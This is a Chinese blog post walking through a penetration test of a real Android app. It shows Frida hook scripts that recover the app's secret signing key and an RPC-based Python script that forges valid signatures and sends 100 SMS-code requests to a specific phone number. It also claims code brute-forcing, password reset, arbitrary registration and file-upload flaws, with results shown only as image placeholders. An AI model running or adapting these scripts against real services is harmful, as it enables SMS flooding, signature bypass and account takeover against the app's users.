一些真实的app渗透与算法hook


app1

apk文件下载到电脑,adb install 安装到真机上,打开是一个注册页面

在这里插入图片描述

真机把SocksDroid打开,随便输个电话号,电脑开charles抓包:
/Users/wa1ki0g/Desktop/利用系统函数与堆栈快速定位app关键代码.md
在这里插入图片描述

我们放到burp重发器里,改参数重发,不出意外,果然做了签名校验不让改包:

在这里插入图片描述
ok,逆一下这个apk,找到算法hook掉就好了,定位一下特征:

在这里插入图片描述
在这里插入图片描述
这个函数是发送请求的一个函数,我们观察一下这段代码,可以看到我们最终发出去的sign参数的组成是:(时间 + 类型 + 未知字符 + 手机号),并且这个未知字符是这个函数的一个参数,那好办了。
直接hook这个getSmscode函数,看看传来了哪些值,就可以得到这个未知字符,有了这个未知字符我们就可以构建sign

真机开下frida服务端,做一下端口转发:
在这里插入图片描述

hook代码:

import frida
import sys
def on_message(message,data):
    print(message)
sess = frida.get_remote_device()
nsess=sess.attach('app名字')
with open('./bk.js') as f:
    script = nsess.create_script(f.read())
script.on('message',on_message)
script.load()
sys.stdin.read()
Java.perform(function(){
    Java.use('com.jx885.library.http.CommAction').getSmscode.implementation=function(aa,bb,cc){
        console.log("hook success");
        console.log("type:"+aa,"key:"+bb,"phone:"+cc);
        return this.getSmscode(aa,bb,cc);
    }
});

hook代码执行监听,手机重新发注册的包,成功监控到:
在这里插入图片描述
未知字符找到了,我们用getStringMD5toUpperCase(yyyyMMddHHmmss + i + str + str2) 自己先算一组数据验证下,没有错误:

在这里插入图片描述

这回函数需要的参数我们都拥有了,我们直接通过frida的rpc来调用这个函数,直接给我们生成sign , 并简单写个发送请求的脚本,直接实现一条龙。
hook代码:

import frida
import time
import datetime
import requests
url = 'http://xxxxxx/Appapi/Common/getSmscode'
sess = frida.get_remote_device()
nsess=sess.attach('app名字')
phone = '15149029981'
type1 = '1'

def on_message(message,data):
    print(message)


with open('./demo1.js') as f:
    script = nsess.create_script(f.read())
script.on('message',on_message)
script.load()
for i in range(100):
    curr_time = datetime.datetime.now()
    timestamp=datetime.datetime.strftime(curr_time,'%Y%m%d%H%M%S')
    print(timestamp)
    time.sleep(1)
    sign = script.exports.getsign(f'{timestamp}{type1}wocaonima{phone}')
    print(sign)
    dd = '"phone":"{0}","sign":"{1}","currTime":"{2}","type":"1"'.format(phone,sign,timestamp)
    nd = '{'+dd+'}'
    print('hook success:'+nd)
    userjson={'userjson':nd}
  
    talk = requests.post(url=url,data=userjson)
    print("发送成功")
function sign(s){
    var res = '';
    Java.perform(function(){
        res = Java.use('com.jx885.library.http.network.HttpUtils').getStringMD5toUpperCase(s);

    })
    return res
}

rpc.exports={
    getsign:sign
};

第一个漏洞:验证码爆破

在这里插入图片描述

结果:
在这里插入图片描述

第二个漏洞:任意用户密码重置
结果
在这里插入图片描述

第三个漏洞:任意用户注册与手机绑定
结果
在这里插入图片描述

第四个漏洞:任意文件上传
结果
在这里插入图片描述


文章作者: wa1ki0g
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wa1ki0g !
  目录